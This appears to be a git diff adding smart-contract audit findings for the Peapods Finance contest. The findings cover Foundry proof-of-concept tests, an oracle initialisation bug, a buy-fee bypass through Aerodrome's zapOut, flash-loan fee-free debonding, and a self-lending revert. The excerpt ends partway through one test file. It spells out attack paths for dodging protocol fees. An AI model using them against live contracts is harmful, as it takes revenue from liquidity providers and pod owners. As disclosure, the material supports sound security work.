+ _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
+
+ vm.prank(_rewardsWhitelist.owner());
+ _rewardsWhitelist.transferOwnership(address(this));
+ _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
+ }
+
+ function _deployTwapUtils() internal {
+ _twapUtils = new MockV3TwapUtilities();
+ bytes memory code = address(_twapUtils).code;
+ vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
+ _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
+ }
+
+ function _deployDexAdapter() internal {
+ _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
+ }
+
+ function _deployIndexUtils() internal {
+ _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
+ }
+
+ function _deployWeightedIndexes() internal {
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 300;
+ _f.debond = 300;
+ _f.burn = 5000;
+ //_f.sell = 200;
+ _f.buy = 200;
+
+ // POD1 (Peas)
+ address[] memory _t1 = new address[](1);
+ _t1[0] = address(_peas);
+ uint256[] memory _w1 = new uint256[](1);
+ _w1[0] = 100;
+ address __pod1Peas = _createPod(
+ "Peas Pod",
+ "pPeas",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ false,
+ abi.encode(
+ address(_mockDai),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod1Peas = WeightedIndex(payable(__pod1Peas));
+
+ _peas.approve(address(_pod1Peas), 100_000 ether);
+ _mockDai.approve(address(_pod1Peas), 100_000 ether);
+ _pod1Peas.bond(address(_peas), 100_000 ether, 1 ether);
+ _pod1Peas.addLiquidityV2(100_000 ether, 100_000 ether, 100, block.timestamp);
+ }
+
+ function _deployAutoCompoundingPodLpFactory() internal {
+ _aspTKNFactory = new AutoCompoundingPodLpFactory();
+ }
+
+ function _getAutoCompoundingPodLpAddresses() internal {
+ _aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
+ "Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
+ );
+ }
+
+ function _deployAspTKNOracles() internal {
+ _v2Res = new V2ReservesUniswap();
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+ _uniOracle = new UniswapV3SinglePriceOracle(address(0));
+ _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
+
+ _aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
+ address(_aspTKN1PeasAddress),
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ address(_mockDai),
+ false,
+ false,
+ _pod1Peas.lpStakingPool(),
+ address(_v3peasDaiPool)
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
+ );
+ }
+
+ function _deployAspTKNs() internal {
+ //POD 1
+ address _lpPeas = _pod1Peas.lpStakingPool();
+ address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();
+
+ IERC20(_stakingPeas).approve(_lpPeas, 1000);
+ StakingPoolToken(_lpPeas).stake(address(this), 1000);
+ IERC20(_lpPeas).approve(address(_aspTKNFactory), 1000);
+
+ _aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
+ _aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);
+ }
+
+ function _deployVariableInterestRate() internal {
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ }
+
+ function _deployFraxPairs() internal {
+ vm.warp(block.timestamp + 1 days);
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ _pod1Peas.PAIRED_LP_TOKEN(), // asset
+ _aspTKN1PeasAddress, // collateral
+ address(_aspTKNMinOracle1Peas), //oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+ }
+
+ function _deployLendingAssetVault() internal {
+ _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
+ IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
+ vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
+ vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _allocations = new uint256[](1);
+ _allocations[0] = 100_000e18;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
+
+ vm.prank(timelock);
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ }
+
+ function _deployLeverageManager() internal {
+ _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
+ _leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
+ }
+
+ function _deployFlashSources() internal {
+ _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
+ _leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
+ }
+
+ function testPoc() public {
+ UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
+ StakingPoolToken _spTKN = StakingPoolToken(_pod1Peas.lpStakingPool());
+ TokenRewards _tokenRewards = TokenRewards(_spTKN.POOL_REWARDS());
+ _aspTKN1Peas.setPodOracle(_aspTKNMinOracle1Peas);
+
+ vm.startPrank(bob);
+ console.log("\n====== Bob bonds 100 Peas ======");
+ _peas.approve(address(_pod1Peas), 100e18);
+ _pod1Peas.bond(address(_peas), 100e18, 0);
+
+ console.log("\n====== Bob adds 97 liquidity ======");
+ _mockDai.approve(address(_pod1Peas), 97e18);
+ _pod1Peas.addLiquidityV2(97e18, 97e18, 1000, block.timestamp);
+
+ console.log("\n====== Bob stakes 97 LP tokens ======");
+ _v2Pool.approve(_pod1Peas.lpStakingPool(), 97e18);
+ _spTKN.stake(bob, 97e18);
+
+ console.log("\n====== Bob deposits 97 spTkns ======");
+ console.log("bob spTKN balance before: ", _spTKN.balanceOf(bob)); //The spTKN balance that Bob has before the deposit. When compared to the balance at the end, it is clear that Bob did not receive any rewards
+ _spTKN.approve(address(_aspTKN1Peas), 97e18);
+ _aspTKN1Peas.deposit(97e18, bob); //The steps up to this point are just so that Bob has a few aspTKNs
+ vm.stopPrank();
+
+ vm.startPrank(alice);
+ console.log("\n====== Alice bonds 10_000 Peas ======");
+ _peas.approve(address(_pod1Peas), 10_000e18);
+ _pod1Peas.bond(address(_peas), 10_000e18, 0); //This creates rewards through the fees that are applied to bonding
+
+ console.log("\n====== Alice adds 9600 liquidity ======");
+ _mockDai.approve(address(_pod1Peas), 9600e18);
+ _pod1Peas.addLiquidityV2(9600e18, 9600e18, 1000, block.timestamp);
+
+ console.log("\n====== Alice stakes 97 LP tokens ======");
+ console.log("_tokenRewards _peas balance before: ", _peas.balanceOf(address(_tokenRewards)));
+ _v2Pool.approve(_pod1Peas.lpStakingPool(), 97e18);
+ _spTKN.stake(alice, 97e18); //This swaps the fees in the pod and deposits them in TokenRewards
+ console.log("_tokenRewards _peas balance after: ", _peas.balanceOf(address(_tokenRewards)));
+
+ _mockDai.approve(address(_v2SwapRouter), 5000e18);
+ address[] memory path = new address[](2);
+ path[0] = address(_mockDai);
+ path[1] = address(_pod1Peas);
+ //Alice swaps _mockDai to increase slippage when compounding in AutoCompoundingLp
+ _v2SwapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ 5000e18,
+ 0,
+ path,
+ bob,
+ block.timestamp
+ );
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ console.log("\n====== Bob claims rewards for AutoCompoundingPodLp ======");
+ console.log("_aspTKN1Peas _peas balance before: ", _peas.balanceOf(address(_aspTKN1Peas)));
+ _tokenRewards.claimReward(address(_aspTKN1Peas)); //This ensures that the rewards from TokenRewards go into AutoCompoundingPodLp
+ console.log("_aspTKN1Peas _peas balance after: ", _peas.balanceOf(address(_aspTKN1Peas)));
+
+ console.log("\n====== Bob redeems his aspTKNs ======");
+ _aspTKN1Peas.redeem(97e18, bob, bob);
+ //This shows that the bob still doesn't have more spTKNs after redeeming, even though there were rewards he should have received
+ console.log("bob spTKN balance after: ", _spTKN.balanceOf(bob));
+
+ console.log("_aspTKN1Peas paired LP token balance: ", _mockDai.balanceOf(address(_aspTKN1Peas))); //It shows that the swap has failed and the paired LP tokens (_mockDai) are now stuck in the contract
+ vm.stopPrank();
+ }
+}
+```
+3. The POC can then be started with `forge test --mt testPoc -vv --fork-url `
\ No newline at end of file
diff --git a/277.md b/277.md
new file mode 100644
index 0000000..51db651
--- /dev/null
+++ b/277.md
@@ -0,0 +1,63 @@
+Perfect Porcelain Snail
+
+High
+
+# createSelfLendingPodAndAddLvf() fails - aspTKNMinimumOracle cannot initialize with a non-existent Fraxlend pair
+
+### Summary
+
+A logic error in `createSelfLendingPodAndAddLvf()` causes an initialization failure for `aspTKNMinimumOracle` for self-lending pods. The function attempts to initialize the oracle with the Fraxlend pair address before the pair itself is created, leading to incorrect initialization parameters and ultimately preventing the creation of self-lending pods. This will halt LVF operations for this specific pod type.
+
+### Root Cause
+
+The `createSelfLendingPodAndAddLvf()` function ([LeverageFactory.sol#L90C14-L90C43](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L90C14-L90C43)) aims to create an `aspTknOracle`, a Fraxlend pair, a lending pod, and the `aspTkn` in that order.
+However, this sequence is flawed. The `aspTknOracle` (which inherits from `spTknOracle`) requires the address of the Fraxlend pair as the `BASE_TOKEN` during its construction ([spTKNMinimalOracle.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol)). Since the Fraxlend pair is created *after* the oracle, the oracle's constructor receives an incorrect address.
+
+While the `spTkn` (quote token) can be set to `address(0)` initially and updated later via `setSpTknAndDependencies()` ([spTKNMinimalOracle.sol#L264](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L264)), the `BASE_TOKEN` is required in the `spTknOracle` constructor and cannot be updated later.
+ The `BASE_TOKEN` is a Fraxlend pair in the case of a self lending pod. As the `spTkn` is composed of the `pTkn` and the `fTKN`. This `fTKN` will be created just after the oracle and then used it as the `pairedLpAsset` of the pod.
+
+The test case [`test_createSelfLendingPodAndAddLvf()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/lvf/LeverageFactory.t.sol#L230) exacerbates this issue by passing `dai` instead of the Fraxlend pair address for `_aspTknOracleRequiredImmutables` **AND** by putting `BASE_IS_FRAX_PAIR` to false, masking the problem during testing.
+It's not an aspTKNMinimalOracle with correct settings, as it will **never taking** account that the pairedLPAsset is a fraxlend pair. It doesn't follow the [aspTKNOracle documentation](https://docs.google.com/document/d/1Z-T_07QpJlqXlbBSiC_YverKFfu-gcSkOBzU1icMRkM/edit?pli=1&tab=t.0#heading=h.ss4sq0h3zsu7).
+
+Based on the comment of [`BASE_TOKEN`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L16C5-L17C51)
+>/// @dev The base token we will price against in the oracle. Will be either pairedLpAsset
+>/// @dev or the borrow token in a lending pair
+
+So an oralce for a self lending pod, you **NEED** to put the fraxlend pair (that is the pairedLpAsset) as the `BASE_TOKEN` and then you retrieve the borrow token in a lending pair through :
+```Solidity
+ address _baseInCl = BASE_TOKEN;
+ if (BASE_IS_POD) {
+ IDecentralizedIndex.IndexAssetInfo[] memory _baseAssets = IDecentralizedIndex(BASE_TOKEN).getAllAssets();
+ _baseInCl = _baseAssets[0].token;
+ } else if (BASE_IS_FRAX_PAIR) {
+ _baseInCl = IFraxlendPair(BASE_TOKEN).asset();
+ }
+ BASE_IN_CL = _baseInCl;
+```
+
+
+### Internal Pre-conditions
+
+1. `createSelfLendingPodAndAddLvf()` is called with the intention of creating a self-lending pod (`BASE_IS_FRAX_PAIR` is true).
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. A user calls `createSelfLendingPodAndAddLvf()` to create a self-lending pod.
+2. The function attempts to initialize `aspTknOracle` with an incorrect `BASE_TOKEN` address (either `dai` like the test case or a default value).
+3. The oracle initialization fails immediately
+
+### Impact
+
+The protocol will be unable to create self-lending pods, halting LVF operations for this specific pod type. This is a critical functional regression that severely impacts the protocol's upgradeability and the overall utility of the new LVF mechanism. Users intending to leverage assets via self-lending pods will be completely blocked.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Introduce a setter function similar to `setSpTknAndDependencies()` to allow setting the `BASE_TOKEN` and `BASE_IN_CL` after the Fraxlend pair is created. This setter should be called at the end of `createSelfLendingPodAndAddLvf()` after the Fraxlend pair has been successfully deployed. This will ensure the oracle is initialized with the correct address, enabling proper functionality for self-lending pods.
\ No newline at end of file
diff --git a/278.md b/278.md
new file mode 100644
index 0000000..7d265ef
--- /dev/null
+++ b/278.md
@@ -0,0 +1,70 @@
+Rare Flaxen Nightingale
+
+Medium
+
+# Buy Fee Bypass via Aerodrome Router's Zap Functionality
+
+### Summary
+
+look at this line of code in the DecentralizedIndex._update function
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L161C9-L161C58
+```solidity
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+```
+this entails that any transfer of tokens from the pool to another address that is not the router should incur buy fee charges (unless of course it is a call to removeLiquidity as this can be done with DecentralizedIndex::removeLiquidityV2 which pauses fees), swaps however are meant to incur fees when the recipient of the pod tokens is not the router.
+The routers ie uniswap, camelot and aerodrome dont not use a receive and send mechanism, ie when swapping, they do not first receive tokens to themselves before sending the tokens to the reciepient, rather they pass the recipient directly to the pool which means the condition for buy fee being applied would pass since _to is not the router in _update
+The issue in aerodrome router lies in a functionality that the other two do not have ie zap, this allows user to claim liquidity in one token and also allows user to claim all of said token inside the router contracts
+https://github.com/aerodrome-finance/contracts/blob/a5fae2e87e490d6b10f133e28cc11bcc58c5346a/contracts/Router.sol#L640-L646
+
+```solidity
+ function zapOut(
+ address tokenOut,
+ uint256 liquidity,
+ Zap calldata zapOutPool,
+ Route[] calldata routesA,
+ Route[] calldata routesB
+ ) external {
+```
+
+A user could take advantage of this by swapping to pod tokens with the router as the receiver (bypassing buy fee)
+then on the router zap out the tokens sent there
+since the default fee on every transfer (0.01%) would likely be much smaller than the buy fee which is maxes at 20%, the user is incentivized to take this route bypassing the fee
+
+### Root Cause
+
+buy fee conditionality ie allowing buy free transfer when the receiver is the router when there is really no reason for this, the main functionalities of the router are to add liquidity, remove liquidity and swap
+Both add and remove liquidity can be done feeless as allowed by the protocol
+swaps on the other hand are meant to incur fees and since the routers dont use and receive then send method, tokens dont go to the router at all during the swap process, the only way for tokens to reach the router after a swap is if the user is donating tokens there
+
+### Internal Pre-conditions
+
+use of aerodrome adapter which uses the standard aerodrome v2 router
+non zero buy fee
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+1. user deposit some liquidity to the pool via Decentralizedndex::addLiquidityV2 if they dont have liquidity already
+2. The userscalls swap with the pod token as the tokenOut and the router as the recipient on the v2pool (this could also be done via the router but doing it via the pool is more gas efficient for the user to use the pool directly) - this would send the pod tokens to the router
+3. call zapOut on the router with token0ut specified as the pod token
+
+### Impact
+
+the buy fee is meant to be used as
+fees for lp stakers ie lp stakers who keep the v2 pool running will end up receiving less fees
+profit for pod owners
+fees to the partner
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+remediate the code to
+```solidity
+ bool _buy = _from == V2_POOL ;
+```
diff --git a/279.md b/279.md
new file mode 100644
index 0000000..813bfac
--- /dev/null
+++ b/279.md
@@ -0,0 +1,91 @@
+Rare Flaxen Nightingale
+
+Medium
+
+# Incorrect isLastOut Logic Allows Fee-Free Debonding
+
+### Summary
+
+The isLastOut function in the WeightedIndex contract is designed to allow users to withdraw their assets without paying a debond fee if they are the last ones exiting the pod. However, the current implementation incorrectly checks whether the user is withdrawing 99% of the total supply instead of the entire total supply. This flaw allows users to exploit the system by temporarily owning 99% of the total supply and debonding their assets fee-free.
+
+
+
+```solidity
+ function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
+ return _debondAmount >= (_totalSupply * 99) / 100;
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L176
+```solidity
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+```
+
+
+
+### Root Cause
+
+The root cause is the flawed logic in the isLastOut function:
+
+```solidity
+function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
+ return _debondAmount >= (_totalSupply * 99) / 100;
+}
+```
+This function checks if the debond amount is greater than or equal to 99% of the total supply, rather than checking if the entire supply is being cleared. As a result, users can exploit this by bonding enough tokens to temporarily own 99% of the total supply and then debonding their assets without paying the debond fee.
+
+### Internal Pre-conditions
+
+The bond fee must be significantly lower than the debond fee.
+
+The total supply of pod tokens should be relatively low to make the exploit cost-effective.
+
+### External Pre-conditions
+The user must have access to sufficient funds (either their own or via a flash loan) to temporarily own 99% of the total supply.
+A fee free flashloan is preferred but as long as the flashloan fee amount + bond fee amount< debondFee amount, t would still be profitable for the user
+
+### Attack Path
+A user bonds enough tokens to temporarily own 99% of the total supply. This can be done using their own funds or a fee-free flash loan (e.g., Morpho flash loan).
+
+The user calls the debond function. Since the isLastOut condition is met (debond amount >= 99% of total supply), the user pays no debond fee.
+
+The user repays the flash loan (if used) and retains their full assets, effectively bypassing the debond fee.
+
+
+
+### Impact
+
+Revenue Loss: The debond fee is a critical source of revenue for:
+
+LP Stakers: Fees incentivize liquidity providers to support the pod.
+
+Pod Owners: Fees contribute to the profitability of pod owners.
+
+By bypassing the debond fee, the protocol loses a significant portion of its revenue.
+
+Unfair Advantage: Users who exploit this loophole gain an unfair advantage over honest users who pay the full debond fee.
+
+Economic Imbalance: The reduced fee revenue may lead to lower incentives for liquidity providers, potentially destabilizing the pod and harming the protocol's long-term sustainability.
+
+### PoC
+
+Assume the current total supply of pod tokens is 100,000, representing 120,000 USDC.
+
+Bob owns 20,000 shares (24,000 USDC). The debond fee is 10%, so Bob would lose 2,400 USDC if he debonds normally.
+
+Bob takes a fee-free flash loan (e.g., from Morpho) to mint 9.9 million shares (approximately 11,882,400 USDC at a bond fee of 0.02%).
+
+The total supply is now 10,000,000 shares. Bob owns >99% of the total supply.
+
+Bob debonds all his shares without paying any debond fee.
+
+Bob repays the flash loan, paying a bond fee of 1,980.4 USDC.
+
+Bob's net gain: 2,400 USDC (saved debond fee) - 1,980.4 USDC (bond fee) = 419.6 USDC.
+
+This exploit becomes more profitable as the bond fee decreases relative to the debond fee and as the total supply of pod tokens decreases.
+
+### Mitigation
+
+modify isLastOut so that it is only triggered when the totalSupply is being cleared
\ No newline at end of file
diff --git a/280.md b/280.md
new file mode 100644
index 0000000..46b4b84
--- /dev/null
+++ b/280.md
@@ -0,0 +1,605 @@
+Witty Chartreuse Starling
+
+Medium
+
+# Self-lending does not work unless someone has deposited into the lending pair beforehand, as the flash loan fees are not taken into account when borrowing during self-lending
+
+### Summary
+
+If `addLeverage` is called with self-lending in the `LeverageManager`, it must revert if no assets have been deposited into the lending pair yet. This is because, when borrowing, the flash loan fees cause more to be borrowed than was deposited through self-lending. As a result, self-lending would not serve its intended purpose properly, since one would have to wait for another depositor to deposit enough to cover the flash loan fees.
+
+### Root Cause
+
+Self-lending was built so that no depositors are needed who first have to deposit before borrowing can take place. Instead, the first users can simply leverage their pTKNs without a depositor and lend to themselves in the process, allowing the pod to get started. This was clearly described here under "The Chicken-and-egg issue": https://medium.com/@peapodsfinance/self-lending-pods-8ff8625bb878.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L522-L532
+Here you can see the function that deposits into the lending pair during self-lending. You can also see that only the `_borrowAmt` is deposited.
+The problem with this is that later in the function, the borrow amount plus the flash loan fees are borrowed:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L328-L329
+This cannot work because the amount for the flash loan fees was never deposited.
+
+### Internal Pre-conditions
+
+No internal pre conditions
+
+### External Pre-conditions
+
+1. This issue is only a problem if not enough has been deposited by external depositors to cover the flash loan fees
+
+### Attack Path
+
+1. Alice bonds her peas in a pod
+2. For this pod, self-lending is set up
+3. Alice wants to get the pod started and calls addLeverage because of that
+4. The call reverts because the flashloan fees is not taken into account
+
+### Impact
+
+The basic idea of self-lending pods doesn't work entirely due to the issue that depositors are still needed to ensure there are enough assets to cover the flash loan fees. Until then, a pod cannot be started with self-lending.
+
+### PoC
+
+1. To execute the POC, a POC.t.sol file should be created in contracts/test/POC.t.sol.
+2. The following code should be inserted into the file:
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.28;
+
+import {console} from "forge-std/console.sol";
+
+// forge
+import {Test} from "forge-std/Test.sol";
+
+// PEAS
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
+import {IndexUtils} from "../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+// oracles
+import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
+import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
+import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
+import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
+import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
+
+// protocol fees
+import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
+import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
+
+// autocompounding
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+
+// lvf
+import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
+import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
+import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
+
+// flash
+import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
+import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
+import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
+import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
+
+// uniswap-v2-core
+import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
+import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
+
+// uniswap-v2-periphery
+import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
+
+// uniswap-v3-core
+import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
+import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
+
+// uniswap-v3-periphery
+import {SwapRouter02} from "swap-router/SwapRouter02.sol";
+import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
+import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
+import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
+
+// mocks
+import {WETH9} from "./invariant/mocks/WETH.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "./invariant/mocks/MockERC20.sol";
+import {TestERC20} from "./invariant/mocks/TestERC20.sol";
+import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
+import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
+import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
+import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
+
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+
+contract MockOracle {
+ uint256 public priceLow;
+ uint256 public priceHigh;
+
+ function setPriceLow(uint256 _priceLow) public {
+ priceLow = _priceLow;
+ }
+
+ function setPriceHigh(uint256 _priceHigh) public {
+ priceHigh = _priceHigh;
+ }
+
+ function getPrices()
+ public
+ view
+ returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh)
+ {
+ _isBadData = false;
+ _priceLow = priceLow;
+ _priceHigh = priceHigh;
+ }
+}
+
+contract AuditTests is PodHelperTest {
+ address alice = vm.addr(uint256(keccak256("alice")));
+ address bob = vm.addr(uint256(keccak256("bob")));
+ address charlie = vm.addr(uint256(keccak256("charlie")));
+
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ uint256 donatedAmount;
+ uint256 lavDeposits;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ PEAS internal _peas;
+ MockV3TwapUtilities internal _twapUtils;
+ UniswapDexAdapter internal _dexAdapter;
+ LendingAssetVault internal _lendingAssetVault;
+ LendingAssetVault internal _lendingAssetVault2;
+ RewardsWhitelist internal _rewardsWhitelist;
+
+ // oracles
+ V2ReservesUniswap internal _v2Res;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ UniswapV3SinglePriceOracle internal _uniOracle;
+ DIAOracleV2SinglePriceOracle internal _diaOracle;
+ aspTKNMinimalOracle internal _aspTKNMinOracle3;
+ aspTKNMinimalOracle internal _aspTKNMinOracle4;
+ MockOracle internal _mockOracle;
+
+ // protocol fees
+ ProtocolFees internal _protocolFees;
+ ProtocolFeeRouter internal _protocolFeeRouter;
+
+ // pods
+ WeightedIndex internal _pod1Peas; // 1 token (Peas)
+ WeightedIndex internal _pod1Weth; // 1 token (Weth)
+ WeightedIndex internal _pod2; // 2 tokens
+ WeightedIndex internal _pod3;
+ WeightedIndex internal _pod4; // 4 tokens *_*
+
+ WeightedIndex[] internal _pods;
+
+ // index utils
+ IndexUtils internal _indexUtils;
+
+ // autocompounding
+ AutoCompoundingPodLpFactory internal _aspTKNFactory;
+ AutoCompoundingPodLp internal _aspTKN3;
+ address internal _aspTKN3Address;
+ AutoCompoundingPodLp internal _aspTKN4;
+ address internal _aspTKN4Address;
+
+ AutoCompoundingPodLp[] internal _aspTKNs;
+
+ // lvf
